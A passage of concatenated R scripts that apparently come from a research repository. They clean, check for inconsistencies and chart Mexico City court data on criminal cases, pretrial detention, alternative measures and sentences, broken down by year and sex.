is.na(d_robo_alternas) == F ~ d_robo_alternas,
is.na(d_robo_cautelares) == F ~ d_robo_cautelares,
is.na(d_robo_sentencia) == F ~ d_robo_sentencia),
d_familiar = case_when(is.na(d_familiar_asunto) == F ~ d_familiar_asunto,
is.na(d_familiar_sitjurid) == F ~ d_familiar_sitjurid,
is.na(d_familiar_alternas) == F ~ d_familiar_alternas,
is.na(d_familiar_cautelares) == F ~ d_familiar_cautelares,
is.na(d_familiar_sentencia) == F ~ d_familiar_sentencia),
d_lesiones = case_when(is.na(d_lesiones_asunto) == F ~ d_lesiones_asunto,
is.na(d_lesiones_sitjurid) == F ~ d_lesiones_sitjurid,
is.na(d_lesiones_alternas) == F ~ d_lesiones_alternas,
is.na(d_lesiones_cautelares) == F ~ d_lesiones_cautelares,
is.na(d_lesiones_sentencia) == F ~ d_lesiones_sentencia),
d_extorsion = case_when(is.na(d_extorsion_asunto) == F ~ d_extorsion_asunto,
is.na(d_extorsion_sitjurid) == F ~ d_extorsion_sitjurid,
is.na(d_extorsion_alternas) == F ~ d_extorsion_alternas,
is.na(d_extorsion_cautelares) == F ~ d_extorsion_cautelares,
is.na(d_extorsion_sentencia) == F ~ d_extorsion_sentencia),
d_objetos = case_when(is.na(d_objetos_asunto) == F ~ d_objetos_asunto,
is.na(d_objetos_sitjurid) == F ~ d_objetos_sitjurid,
is.na(d_objetos_alternas) == F ~ d_objetos_alternas,
is.na(d_objetos_cautelares) == F ~ d_objetos_cautelares,
is.na(d_objetos_sentencia) == F ~ d_objetos_sentencia),
d_encubrimiento = case_when(is.na(d_encubrimiento_asunto) == F ~ d_encubrimiento_asunto,
is.na(d_encubrimiento_sitjurid) == F ~ d_encubrimiento_sitjurid,
is.na(d_encubrimiento_alternas) == F ~ d_encubrimiento_alternas,
is.na(d_encubrimiento_cautelares) == F ~ d_encubrimiento_cautelares,
is.na(d_encubrimiento_sentencia) == F ~ d_encubrimiento_sentencia),
d_otros = case_when(is.na(d_otros_asunto) == F ~ d_otros_asunto,
is.na(d_otros_sitjurid) == F ~ d_otros_sitjurid,
is.na(d_otros_alternas) == F ~ d_otros_alternas,
is.na(d_otros_cautelares) == F ~ d_otros_cautelares,
is.na(d_otros_sentencia) == F ~ d_otros_sentencia)) %>%
mutate(consignacion = case_when(c_con_detenido == 1 ~ "Con detenido",
c_con_detenido == 0 ~ "Sin detenido"),
comision = case_when(c_doloso == 1 ~ "Doloso",
c_doloso == 0 ~ "Culposo"),
realizacion = case_when(tr_consumado == 1 ~ "Consumado",
tr_consumado == 0 ~ "Tentativa"),
sentencia = case_when(sentencia_absolutoria == 1 ~ "Absolutoria",
sentencia_absolutoria == 0 ~ "Condenatoria")) %>%
# Delitos cortos
mutate(delitos_cortos = case_when(d_homicidio == 1 ~ "Homicidio",
d_salud == 1 ~ "Delitos contra la salud",
d_robo == 1 ~ "Robo",
d_familiar == 1 ~ "Violencia familiar",
d_lesiones == 1 ~ "Lesiones",
d_encubrimiento == 1 ~ "Encubrimiento",
d_extorsion == 1 ~ "Extorsión",
d_objetos == 1 ~ "Objetos aptos para agredir",
d_secuestro == 1 ~ "Secuestro",
d_sexuales == 1 ~ "Delitos sexuales",
d_otros == 1 ~ "Otros delitos"))
v_delitos <- c("d_homicidio", "d_secuestro", "d_sexuales", "d_salud", "d_robo",
"d_familiar", "d_lesiones", "d_extorsion", "d_objetos",
"d_encubrimiento", "d_otros")
v_juridico <- c("materia", "consignacion", "comision", "realizacion")
df_selecta <- df_completa %>%
dplyr::select(starts_with("id_"),
# Registro en bases de datos
aparece_en_bases,
starts_with("base_"),
# Temporalidad
starts_with("year_"),
starts_with("month_"),
starts_with("date_"),
# Demográfico
sexo, edad,
num_alcaldias,
# Situación y prisión preventiva
ends_with("_terminacion"),
ends_with("_ppo"),
# Características jurídicos
all_of(v_juridico),
# Número de víctimas y tipo de relación
starts_with("v_"),
starts_with("r_"),
# Delitos
num_delitos,
"delitos_cortos",
all_of(v_delitos),
# Situación jurídica
starts_with("s_"),
# Soluciones alternas
starts_with("a_"),
# Medidas cautelares
"num_medidas_cautelares",
starts_with("m_"),
# Sentencia
"sentencia", "years_sentencia", "months_sentencia") %>%
select(-c(num_ppo))
# 5. Controles de revisión -----------------------------------------------------
# Folios que se repiten
# Ver frecuencia de expedientes y personas
df_freq_exp <- table(df_unida_completa$id_exp)
df_freq_per <- as.data.frame(table(df_unida_completa$id_per_acusada))
table(df_freq_per$Freq) # Frecuencia de folios únicos por persona
# Número total de observaciones por base
dim(df_asuntos_ingresados_nivel_acusado)
dim(df_personas_agredidas_nivel_expediente)
dim(df_situacion_juridica_nivel_acusado)
dim(df_soluciones_alternas_nivel_acusado)
dim(df_medidas_cautelares_nivel_acusado)
dim(df_sentencias_nivel_acusado)
dim(df_unida5)
dim(df_unida_extra)
dim(df_completa)
dim(df_selecta)
# Asegurarse de que cada variable tenga los valores adecuados
for (i in 3:199){
print(names(df_completa[i])) # Nombre de la variable
print(table(df_completa[i])) # Tabla de valores
}
for (i in 3:92){
print(names(df_selecta[i])) # Nombre de la variable
print(table(df_selecta[i])) # Tabla de valores
}
# 6. Guardar base final --------------------------------------------------------
# Renombrar con base definitiva
df_TJCDMX_completa <- df_completa
df_TJCDMX_selecta <- df_selecta
# Guardar formato .RData
save(df_TJCDMX_completa, file = paste0(out, "df_TJCDMX_completa.RData"))
save(df_TJCDMX_selecta, file = paste0(out, "df_TJCDMX_selecta.RData"))
# Guardar formato csv
write.csv(df_TJCDMX_completa, file = paste0(out, "df_TJCDMX_completa.csv"))
write.csv(df_TJCDMX_selecta, file = paste0(out, "df_TJCDMX_selecta.csv"))
beepr::beep(5)
# Fin del código #
<file_sep>/análisis/03_visualización_ppo_alternativas.R
########## Base del TSJ-CDMX hasta septiembre 2020 - versión de Regina Medina
rm(list=ls())
#setwd("~")
require(pacman)
p_load(scales, tidyverse, stringi, dplyr, plyr, foreign, readxl, janitor,extrafont,
beepr, extrafont, treemapify, ggmosaic, srvyr, ggrepel, lubridate, cowplot)
# ------------ Directorios ---------------- #
inp <- "/Users/samnbk/Dropbox/SaM/By Date/marzo 2018/R_Genero/TSJDF/inp"
out <- "/Users/samnbk/Dropbox/SaM/By Date/marzo 2018/R_Genero/TSJDF/out"
############## Tema para exportar en .png
tema <- theme_linedraw() +
theme(text = element_text(family = "Helvetica", color = "grey35"),
plot.title = element_text(size = 20, face = "bold", margin = margin(10,4,5,4), family="Helvetica", color = "black"),
plot.subtitle = element_text(size = 18, color = "#666666", margin = margin(5, 5, 5, 5), family="Helvetica"),
plot.caption = element_text(hjust = 1, size = 14, family = "Helvetica"),
panel.grid = element_line(linetype = 2),
legend.position = "none",
panel.grid.minor = element_blank(),
legend.title = element_text(size = 16, family="Helvetica"),
legend.text = element_text(size = 16, family="Helvetica"),
legend.title.align = 1,
axis.title = element_text(size = 16, hjust = .5, margin = margin(1,1,1,1), family="Helvetica"),
axis.text = element_text(size = 16, face = "bold", family="Helvetica", angle=0, hjust=.5),
strip.background = element_rect(fill="#525252"),
strip.text.x = element_text(size=16, family = "Helvetica"),
strip.text.y = element_text(size=16, family = "Helvetica"))
fill_base <- c("#F178B1","#998FC7", "#FF8C00", "#663399", "#C2F970", "#00979C", "#B1EDE8", "#FE5F55")
fill_autoridades <- c("#F178B1","#998FC7", "#FF8C00", "#663399", "#C2F970", "#00979C", "#B1EDE8", "#FE5F55", "#C52233")
fill_dos <- c("#F178B1","#998FC7")
# Limpieza de datos ------------------------------------------------------------
base = read.csv(paste(inp, "df_TJCDMX.csv", sep="/"))
# Cargar datos desde carpeta de GitHub
load("~/GitHub/Intersecta-PJCDMX/datos_limpios/df_TJCDMX.RData")
base <- read.csv("~/GitHub/Intersecta-PJCDMX/datos_limpios/df_TJCDMX.csv")
base$tot = 1
base$sexo_sentenciada = gsub("Masculino", "Hombres", base$sexo_sentenciada)
base$sexo_sentenciada = gsub("Femenino", "Mujeres", base$sexo_sentenciada)
base <- base %>%
mutate(sexoppo = paste(sexo_procesada, sexo_vinculada))
base$sexoppo = gsub("Hombres Hombres", "Hombres", base$sexoppo)
base$sexoppo = gsub("NA Hombres", "Hombres", base$sexoppo)
base$sexoppo = gsub("No especificado NA", "No especificado", base$sexoppo)
base$sexoppo = gsub("Hombres NA", "Hombres", base$sexoppo)
base$sexoppo = gsub("NA Mujeres", "Mujeres", base$sexoppo)
base$sexoppo = gsub("No especificado No especificado", "No especificado", base$sexoppo)
base$sexoppo = gsub("Mujeres Mujeres", "Mujeres", base$sexoppo)
base$sexoppo = gsub("Mujeres NA", "Mujeres", base$sexoppo)
base$sexoppo = gsub("NA No especificado", "No especificado", base$sexoppo)
base$sexoppo = gsub("NA NA", "NA", base$sexoppo)
############ pp o alternativas
base$pp1 <- ifelse(base$s_formal_prision > 0, c("Con_pp"), c("Sin_pp"))
base$pp2 <- ifelse(base$m_prision_preventiva > 0, c("Con_pp"), c("Sin_pp"))
base$pp3 <- ifelse(base$s_sujecion_en_libertad > 0, c("Con_alt"), c("Sin_alt"))
base$pp4 <- ifelse(base$m_embargo > 0, c("Con_alt"), c("Sin_alt"))
base$pp5 <- ifelse(base$m_resguardo > 0, c("Con_alt"), c("Sin_alt"))
base$pp6 <- ifelse(base$m_vigilancia > 0, c("Con_alt"), c("Sin_alt"))
base$pp7 <- ifelse(base$m_localizador > 0, c("Con_alt"), c("Sin_alt"))
base$pp8 <- ifelse(base$m_garantia_econ > 0, c("Con_alt"), c("Sin_alt"))
base$pp9 <- ifelse(base$m_inmov_cuentas > 0, c("Con_alt"), c("Sin_alt"))
base$pp10 <- ifelse(base$m_presentacion > 0, c("Con_alt"), c("Sin_alt"))
base$pp11 <- ifelse(base$m_prohib_lugares > 0, c("Con_alt"), c("Sin_alt"))
base$pp12 <- ifelse(base$m_prohib_comunica > 0, c("Con_alt"), c("Sin_alt"))
base$pp13 <- ifelse(base$m_prohib_salir > 0, c("Con_alt"), c("Sin_alt"))
base$pp14 <- ifelse(base$m_separa_domicilio > 0, c("Con_alt"), c("Sin_alt"))
base$pp15 <- ifelse(base$m_suspension_laboral > 0, c("Con_alt"), c("Sin_alt"))
base <- base %>%
mutate(ppalt = paste(pp1, pp2, pp3, pp4, pp5, pp6, pp7, pp8, pp9, pp10, pp11, pp12, pp13, pp14, pp15))%>%
mutate(ppalt = str_remove_all(ppalt, "Sin_alt"))%>%
mutate(ppalt = str_remove_all(ppalt, "Sin_pp"))
base$ppalt_1 <- as.numeric(str_detect(base$ppalt, "Con_pp"))
base$ppalt_2 <- as.numeric(str_detect(base$ppalt, "Con_alt"))
base_ppo = select(base, X, ppalt_1, ppalt_2, year_resolucion, year_audiencia_caut)
base_ppo$year_ppo <- rowSums(base_ppo[c("year_resolucion", "year_audiencia_caut")], na.rm = T)
table(base_ppo$year_ppo)
base_ppo$year_ppo = gsub("4031", "2015", base_ppo$year_ppo)
base_ppo$year_ppo = gsub("4032", "2016", base_ppo$year_ppo)
base_ppo$year_ppo = gsub("4033", "2016", base_ppo$year_ppo)
base_ppo$year_ppo = gsub("4034", "2017", base_ppo$year_ppo)
base_ppo$year_ppo = gsub("4035", "2017", base_ppo$year_ppo)
base_ppo$year_ppo = gsub("4036", "2018", base_ppo$year_ppo)
base_ppo$year_ppo = gsub("4037", "2018", base_ppo$year_ppo)
base_ppo$year_ppo = gsub("4038", "2019", base_ppo$year_ppo)
base_ppo$year_ppo = gsub("4039", "2019", base_ppo$year_ppo)
base_ppo$year_ppo = gsub("4040", "2020", base_ppo$year_ppo)
base_ppo = select(base_ppo, X, year_ppo)
base = full_join(base, base_ppo, by=c("X"))
# Revisar variables del df_TJCDMX y las generadas para base_ppo
df_ppo <- base %>%
select("tot", starts_with("id"), contains("year"), starts_with("s_"),
sarts_with("m_"), contains("pp")) %>%
mutate()
# Visualización de datos -------------------------------------------------------
porano <- base %>%
mutate(tot = 1) %>%
select(year_ppo, ppalt_1, ppalt_2)%>%
filter(year_ppo != 0)%>%
filter(year_ppo != 4031)%>%
gather(medida, tot, ppalt_1:ppalt_2)%>%
mutate(medida = str_replace(medida, "ppalt_1", "Con prisión preventiva"),
medida = str_replace(medida, "ppalt_2", "Alternativa a prisión preventiva"))%>%
ungroup() %>%
group_by(year_ppo, medida) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(year_ppo) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(porano, aes(x = as.integer(year_ppo), y=porcent, fill = medida)) +
geom_bar(stat="identity", position="stack") +
scale_fill_manual(values = c("red", "black")) +
labs(title="Distribución de las medidas cautelares",
caption="\n Fuente: Respuesta del TSJ-CDMX a una solicitud de acceso a la información pública\n",
x="\n", y="\n \n",
subtitle = "Por año \n", fill = "La medida cautelar fue:") +
tema +
theme(legend.position = "top") +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
theme(axis.text.x = element_text(angle = 0, size = 12))
# ggsave(paste(out, "2011-2020 proporción PP.png", sep = "/"), width = 16, height = 16)
porano <- base %>%
mutate(tot = 1) %>%
select(year_ppo, sexoppo, ppalt_1, ppalt_2)%>%
filter(year_ppo != 0)%>%
filter(sexoppo != "No especificado")%>%
gather(medida, tot, ppalt_1:ppalt_2)%>%
mutate(medida = str_replace(medida, "ppalt_1", "Con prisión preventiva"),
medida = str_replace(medida, "ppalt_2", "Alternativa a prisión preventiva"))%>%
ungroup() %>%
group_by(year_ppo, sexoppo, medida) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(year_ppo, sexoppo) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(porano, aes(x = as.integer(year_ppo), y=porcent, fill = medida)) +
geom_bar(stat="identity", position="stack") +
scale_fill_manual(values = c("red", "black"))+
labs(title="Distribución de las medidas cautelares",
caption="\n Fuente: Respuesta del TSJ-CDMX a una solicitud de acceso a la información pública\n",
x="\n", y="\n \n",
subtitle = "Por año, por sexo \n", fill = "La medida cautelar fue:") +
tema +
facet_wrap(~sexoppo) +
theme(legend.position = "top") +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
theme(axis.text.x = element_text(angle = 0, size = 12))
# ggsave(paste(out, "2011-2020 proporción PP sexo.png", sep = "/"), width = 16, height = 16)
ggplot(data=subset(porano, medida == "Con prisión preventiva")) +
geom_line(aes(x = as.integer(year_ppo), y = porcent, color=sexoppo), size=1.5) +
geom_point(aes(x = as.integer(year_ppo), y = porcent), size=2, color = "#4d4d4d") +
geom_text_repel(aes(x = as.integer(year_ppo), y = porcent, label=paste0(porcent, "%")),
color = "black", vjust =-.5, hjust=.5, family="Georgia", size=4.5, angle =0) +
scale_color_manual(values = c("#46bfdf", "#ff1654")) +
labs(title = "Hombres versus mujeres a los que se les dictó prisión preventiva", subtitle = "Por año \n",
y = "\n Porcentaje con prisión preventiva \n", x="",
caption = "\n Fuente: TSJ-CDMX \n",
color ="Sexo de la persona con prisión preventiva dictada:") +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
theme(legend.position = "top") +
coord_cartesian(ylim = c(0, 100))
# ggsave(paste(out, "05 hom v mujer común.png", sep = "/"), width = 16, height = 16)
<file_sep>/análisis/02_control_calidad.R
#------------------------------------------------------------------------------#
# Proyecto: TRIBUNAL SUPERIOR DE JUSTICIA DE CIUDAD DE MÉXICO
# Objetivo: Encontrar inconsistencias en los datos
# Encargada: <NAME>
# Correo: <EMAIL>
# Fecha de creación: 27 de enero de 2021
# Última actualización: 02 de febrero de 2021
#------------------------------------------------------------------------------#
# 0. Configuración inicial -----------------------------------------------------
# Librerías
require(pacman)
p_load(readxl, tidyverse, magrittr, dplyr, here, beepr)
# Limpiar espacio de trabajo
rm(list=ls())
# Establecer directorios
dir <- here::here()
inp <- "datos_limpios/"
out <- "datos_limpios/"
setwd(dir)
# 1. Cargar datos --------------------------------------------------------------
load(paste0(inp, "df_TJCDMX_full.RData"))
# 2. Crear bases con subconjuntos ----------------------------------------------
# Desagregar según las mismas variables pero de diferentes bases (pestañas)
dim(df_TJCDMX_full)
names(df_TJCDMX_full)
df_edad <- df_TJCDMX_full %>%
dplyr::select("id_exp", "id_per_acusada", "aparece_en_bases",
contains("edad")) %>%
arrange(desc(aparece_en_bases))
df_sexo <- df_TJCDMX_full %>%
dplyr::select("id_exp", "id_per_acusada", "aparece_en_bases",
contains("sexo")) %>%
arrange(desc(aparece_en_bases))
df_fechas <- df_TJCDMX_full %>%
dplyr::select("id_exp", "id_per_acusada", "aparece_en_bases",
contains("date_"), contains("year_"), contains("month_")) %>%
arrange(desc(aparece_en_bases))
df_juridico <- df_TJCDMX_full %>%
dplyr::select("id_exp", "id_per_acusada", "aparece_en_bases",
contains("num_"), contains("materia_"), contains("c_"),
contains("tr_")) %>%
arrange(desc(aparece_en_bases))
df_delitos <- df_TJCDMX_full %>%
dplyr::select("id_exp", "id_per_acusada", "aparece_en_bases",
contains("num_delitos_"), contains("d_")) %>%
arrange(desc(aparece_en_bases))
# 3. Buscar inconsistencias ----------------------------------------------------
# Distribución de los datos según el número de bases en los que aparecen
table(df_edad$aparece_en_bases)
table(df_sexo$aparece_en_bases)
table(df_fechas$aparece_en_bases)
table(df_juridico$aparece_en_bases)
table(df_delitos$aparece_en_bases)
# Crar variables indicadoras para inconsistencias
df_edad_error <- df_edad %>%
# replace_na(list(edad_acusada_asunto = 0,
# edad_acusada_sitjurid = 0,
# edad_acusada_alternas = 0,
# edad_acusada_cautelares = 0,
# edad_sentenciada = 0)) %>%
mutate(edad_igual = ((edad_acusada_asunto == edad_acusada_sitjurid) &
(edad_acusada_asunto == edad_acusada_alternas) &
(edad_acusada_asunto == edad_acusada_cautelares) &
(edad_acusada_asunto == edad_sentenciada)))
df_sexo_error <- df_sexo %>%
mutate(sexo_igual = ((sexo_acusada_asunto == sexo_acusada_sitjurid)))
<file_sep>/análisis/01_limpieza.R
#------------------------------------------------------------------------------#
# Proyecto: TRIBUNAL SUPERIOR DE JUSTICIA DE CIUDAD DE MÉXICO
# Objetivo: Procesar datos de la PJCDMX para generar bases
# a nivel persona y a nivel delito
#
# Encargada: <NAME>
# Correo: <EMAIL>
# Fecha de creación: 14 de enero de 2021
# Última actualización: 10 de febrero de 2021
#------------------------------------------------------------------------------#
# 0. Configuración inicial -----------------------------------------------------
# Librerías
require(pacman)
p_load(readxl, tidyverse, dplyr, here, lubridate, zoo, beepr)
# Limpiar espacio de trabajo
rm(list=ls())
# Establecer directorios
dir <- here::here()
inp <- "datos_crudos/"
out <- "datos_limpios/"
setwd(dir)
# 1. Cargar datos --------------------------------------------------------------
# Sobre delitos cometidos en la Ciudad de México entre mayo-2011 y sep-2020
# Información de los asuntos ingresados por los diversos delitos
df_asuntos_crudo <- read_excel(paste0(inp, "F227220_081220 INFOMEX.xlsx"),
skip = 8, sheet = "ingresados") %>% slice(1:301833)
# Información de las personas involucradas como víctimas u ofendidas
df_personas_crudo <- read_excel(paste0(inp, "F227220_081220 INFOMEX.xlsx"),
skip = 8, sheet = "victOfend") %>% slice(1:335316)
# Información de los asuntos con resolución del auto de plazo constitucional
df_sitjurid_crudo <- read_excel(paste0(inp, "F227220_081220 INFOMEX.xlsx"),
skip = 8, sheet = "situaJurid") %>% slice(1:203050)
# Información de soluciones alternas o terminaciones anticipadas
df_alternas_crudo <- read_excel(paste0(inp, "F227220_081220 INFOMEX.xlsx"),
skip = 8, sheet = "solAlternasTermAnticip") %>%
slice(1:28696)
# Información de la medida cautelar de prisión preventiva
df_cautelares_crudo <- read_excel(paste0(inp, "F227220_081220 INFOMEX.xlsx"),
skip = 8, sheet = "medCautelares") %>% slice(1:176809)
# Información de las sentencias emitidas en primera instancia
df_sentencias_crudo <- read_excel(paste0(inp, "F227220_081220 INFOMEX.xlsx"),
skip = 7, sheet = "sentencias") %>% slice(1:129493)
# 2. Limpiar datos -------------------------------------------------------------
# 2.1 Renombrar variables ------------------------------------------------------
df_asuntos <- df_asuntos_crudo %>%
rename(materia = "Materia",
id_exp = "Indice para agrupación 1\r\n\r\n(Expediente / Carpeta)",
id_per_acusada = "Indice para agrupación 2\r\n\r\n(Personas)",
year_ingreso = "Año ingreso",
month_ingreso = "Mes ingreso",
sexo_indiciada = "Sexo de la persona indiciada",
edad_indiciada = "Edad de la persona indiciada",
delito = "Tipo delictivo",
desag_estad = "Desagregado estadístico",
consignacion = "Consignacion",
comision = "Comisión",
realizacion = "Realización",
alcaldia = "Alcaldía de ocurrencia") %>%
mutate(consignacion = case_when(consignacion == "con detenido" ~ "Con detenido",
consignacion == "sin detenido" ~ "Sin detenido",
consignacion == consignacion ~ consignacion))
df_personas <- df_personas_crudo %>%
rename(id_exp = "Indice para agrupación 1\r\n(Expediente / Carpeta)",
id_per_ofendida = "Indice para agrupación 3\r\n(Persona)",
sexo_victima = "Sexo de la persona involucrada como víctima u ofendida",
edad_victima = "Edad de la persona involucrada como víctima u ofendida",
relacion = "Relación entre la persona involucrada como víctima u ofendida y la persona probable responsable de la comisión del delito") %>%
mutate(base_ofendida = 1)
df_sitjurid <- df_sitjurid_crudo %>%
rename(materia = "Materia",
id_exp = "Indice para agrupación 1\r\n\r\n(Expediente / Carpeta)",
id_per_acusada = "Indice para agrupación 2\r\n\r\n(Persona)",
year_resolucion = "Año resolución",
month_resolucion = "Mes resolución",
sexo_procesada = "Sexo de la persona procesada",
edad_procesada = "Edad de la persona procesada",
delito = "Tipo delictivo",
desag_estad = "Desagregado estadístico",
consignacion = "Consignacion",
comision = "Comisión",
realizacion = "Realización",
alcaldia = "Alcaldía de ocurrencia",
resolucion = "Resolución a la situación jurídica")
df_alternas <- df_alternas_crudo %>%
rename(materia = "Materia",
id_exp = "Indice para agrupación 1\r\n\r\n(Expediente / Carpeta)",
id_per_acusada = "Indice para agrupación 2\r\n\r\n(Persona)",
year_audiencia_alt = "Año audiencia",
month_audiencia_alt = "Mes audiencia",
sexo_indiciada = "Sexo de la persona indiciada",
edad_indiciada = "Edad de la persona indiciada",
delito = "Tipo delictivo",
desag_estad = "Desagregado estadístico",
consignacion = "Consignacion",
comision = "Comisión",
realizacion = "Realización",
alcaldia = "Alcaldía de ocurrencia",
solucion = "Tipo de solución alterna o terminación anticipada")
df_cautelares <- df_cautelares_crudo %>%
rename(materia = "Materia",
id_exp = "Indice para agrupación 1\r\n\r\n(Expediente / Carpeta)",
id_per_acusada = "Indice para agrupación 2\r\n\r\n(Persona)",
year_audiencia_caut = "Año audiencia",
month_audiencia_caut = "Mes audiencia",
sexo_vinculada = "Sexo de la persona vinculada",
edad_vinculada = "Edad de la persona vinculada",
delito = "Tipo delictivo",
desag_estad = "Desagregado estadístico",
consignacion = "Consignacion",
comision = "Comisión",
realizacion = "Realización",
alcaldia = "Alcaldía de ocurrencia",
medida = "Tipo de medida cautelar")
df_sentencias <- df_sentencias_crudo %>%
rename(materia = "Materia",
id_exp = "Indice para agrupación 1\r\n\r\n(Expediente / Carpeta)",
id_per_acusada = "Indice para agrupación 2\r\n\r\n(Persona)",
year_sentencia = "Año sentencia",
month_sentencia = "Mes sentencia",
sexo_sentenciada = "Sexo",
edad_sentenciada = "Edad",
delito = "Tipo delictivo",
desag_estad = "Desagregado estadístico",
consignacion = "Consignación",
comision = "Comisión",
realizacion = "Realización",
alcaldia = "Alcaldía de ocurrencia del delito",
forma_proceso = "Forma del proceso",
sentencia = "Tipo de sentencia",
years_sentencia = "Años de sentencia",
months_sentencia = "Meses de sentencia",
días_sentencia = "Días de sentencia")
# 2.2 Identificar número de observaciones, expedientes y personas únicos -------
# expediente > agresor o víctima > delitos > medida cautelar o solución alterna
# Asuntos - Mínimo grado de desagregación: agresor (< expediente)
dim(df_asuntos)[1] # 301,833 observaciones (asuntos por expediente y agresor)
length(unique(df_asuntos$id_exp)) # 219,446 expedientes únicos
length(unique(df_asuntos$id_per_acusada)) # 255,792 agresores únicos
# Personas ofendidas - Mínimo grado de desagregación: víctima (< expediente)
dim(df_personas)[1] # 335,316 observaciones (expediente por víctima)
length(unique(df_personas$id_exp)) # 231,183 expedientes únicos
length(unique(df_personas$id_per_ofendida)) # 252,737 víctimas únicas
# Situación jurídica - Mínimo grado de desagregación: agresor(< expediente)
dim(df_sitjurid)[1] # 203,050 observaciones (asuntos con resolución de auto plazo por expediente y agresor)
length(unique(df_sitjurid$id_exp)) # 152,685 expedientes únicos
length(unique(df_sitjurid$id_per_acusada)) # 177,682 agresores únicos
# Soluciones alternas - Mínimo grado de desagregación: solución alterna (< delito)
dim(df_alternas)[1] # 28,696 observaciones (soluciones alternas por expediente y agresores)
length(unique(df_alternas$id_exp)) # 21,986 expedientes únicos
length(unique(df_alternas$id_per_acusada)) # 25,734 agresores únicos
# Medidas cautelares - Mínimo grado de desagregación: medida cautelar (< delito)
dim(df_cautelares)[1] # 176,809 observaciones (medidas cautelares)
length(unique(df_cautelares$id_exp)) # 48,285 expedientes únicos
length(unique(df_cautelares$id_per_acusada)) # 63,259 agresores únicos
# Sentencias - Mínimo grado de desagregación: delito (< agresor)
dim(df_sentencias)[1] # 129,493 observaciones (sentencias por delito)
length(unique(df_sentencias$id_exp)) # 97,176 expedientes únicos
length(unique(df_sentencias$id_per_acusada)) # 116,377 agresores únicos
# 2.3 Identificar folios repetidos ---------------------------------------------
# Asuntos - Revisar folios repetidos
df_freq <- table(df_asuntos$id_per_acusada)
df_freq2 <- as.data.frame(table(df_freq))
print(df_freq2) # Frecuencia de repeticiones
# Observaciones: el delito de robo suele tener muchas repeticiones.
# Personas ofendidas - Revisar folios repetidos
df_freq <- table(df_personas$id_per_ofendida)
df_freq2 <- as.data.frame(table(df_freq))
print(df_freq2) # Frecuencia de repeticiones
# Obs: la observación con más repeticiones (340) es "No especificado"
# Después sigue el folio 4408714 con 20 repeticiones aunque no hay
# ningún dato demográfico registrado. Lo que cambia es el número de
# expediente, pero no parece ser la misma víctima porque al buscar
# en df_asuntos, los delitos de cada expediente son muy distintos.
# Situación jurídica - Revisar folios repetidos
df_freq <- table(df_sitjurid$id_per_acusada)
df_freq2 <- as.data.frame(table(df_freq))
print(df_freq2) # Frecuencia de repeticiones
# Observaciones: el delito de robo suele tener muchas repeticiones.
# Soluciones alternas - Revisar folios repetidos
df_freq <- table(df_alternas$id_per_acusada)
df_freq2 <- as.data.frame(table(df_freq))
print(df_freq2) # Frecuencia de repeticiones
# Observaciones: aquí hay menos repeticiones, el que más se repite es
# una persona que recibió 3 medidas cautelares para 2 delitos, por lo
# que aparece 6 veces en total.
# Medidas cautelares - Revisar folios repetidos
df_freq <- table(df_cautelares$id_per_acusada)
df_freq2 <- as.data.frame(table(df_freq))
print(df_freq2) # Frecuencia de repeticiones
# Sentencias - Revisar folios repetidos
df_freq <- table(df_sentencias$id_per_acusada)
df_freq2 <- as.data.frame(table(df_freq))
print(df_freq2) # Frecuencia de repeticiones
# Aunque tengan los mismos datos en cada variable, no hay observaciones repetidas.
# La documentación del TSJ-CDMX indica que cada renglón u observación es un
# asunto, delito, medida cautelar o sentencia que provoca que se repitan tanto
# los folios de expediente como los folios de personas.
# 2.4 Crear bases agregadas en formato ancho (wide) ----------------------------
# 2.4.1 Asuntos ingresados -----------------------------------------------------
df_asuntos_renombrado1 <- df_asuntos %>%
# Unificar categorías de homicidio y feminicidio en 1
mutate(homicidio_1 = as.numeric(str_detect(delito, "Homicidio")),
homicidio_2 = as.numeric(str_detect(delito, "Feminicidio")),
d_homicidio_asunto = homicidio_1 + homicidio_2) %>%
# Unificar categorías para secuestros
mutate(secuestro_1 = as.numeric(str_detect(delito, "Secuestro")),
secuestro_2 = as.numeric(str_detect(delito, "Privación de la libertad")),
d_secuestro_asunto = secuestro_1 + secuestro_2) %>%
# Unificar categorías para delitos sexuales
mutate(sexuales_1 = as.numeric(str_detect(delito, "Abuso sexual")),
sexuales_2 = as.numeric(str_detect(delito, "Violacion")),
sexuales_3 = as.numeric(str_detect(delito, "Hostigamiento")),
d_sexuales_asunto = sexuales_1 + sexuales_2 + sexuales_3) %>%
# Crear variables dummies para otros delitos
mutate(d_salud_asunto = as.numeric(str_detect(delito, "salud")),
d_robo_asunto = as.numeric(str_detect(delito, "Robo")),
d_familiar_asunto = as.numeric(str_detect(delito, "Violencia familiar")),
d_lesiones_asunto = as.numeric(str_detect(delito, "Lesiones")),
d_extorsion_asunto = as.numeric(str_detect(delito, "Extorsion")),
d_objetos_asunto = as.numeric(str_detect(delito, "objetos")),
d_encubrimiento_asunto = as.numeric(str_detect(delito, "Encubrimiento"))) %>%
# Crear categoría para el resto de los delitos
mutate(d_otros_asunto = ifelse(d_homicidio_asunto != 1 &
d_salud_asunto != 1 &
d_robo_asunto != 1 &
d_familiar_asunto != 1 &
d_lesiones_asunto != 1 &
d_encubrimiento_asunto != 1 &
d_extorsion_asunto != 1 &
d_objetos_asunto != 1 &
d_secuestro_asunto != 1 &
d_sexuales_asunto != 1, 1, 0)) %>%
# Retirar variables innecesarias
dplyr::select(-c(homicidio_1, homicidio_2, secuestro_1, secuestro_2,
sexuales_1, sexuales_2, sexuales_3))
# Crear nueva variable con nombres cortos de los delitos
# Base final por delitos
df_asuntos_delitos <- df_asuntos_renombrado1 %>%
mutate(delitos_cortos = case_when(d_homicidio_asunto == 1 ~ "Homicidio",
d_salud_asunto == 1 ~ "Delitos contra la salud",
d_robo_asunto == 1 ~ "Robo",
d_familiar_asunto == 1 ~ "Violencia familiar",
d_lesiones_asunto == 1 ~ "Lesiones",
d_encubrimiento_asunto == 1 ~ "Encubrimiento",
d_extorsion_asunto == 1 ~ "Extorsión",
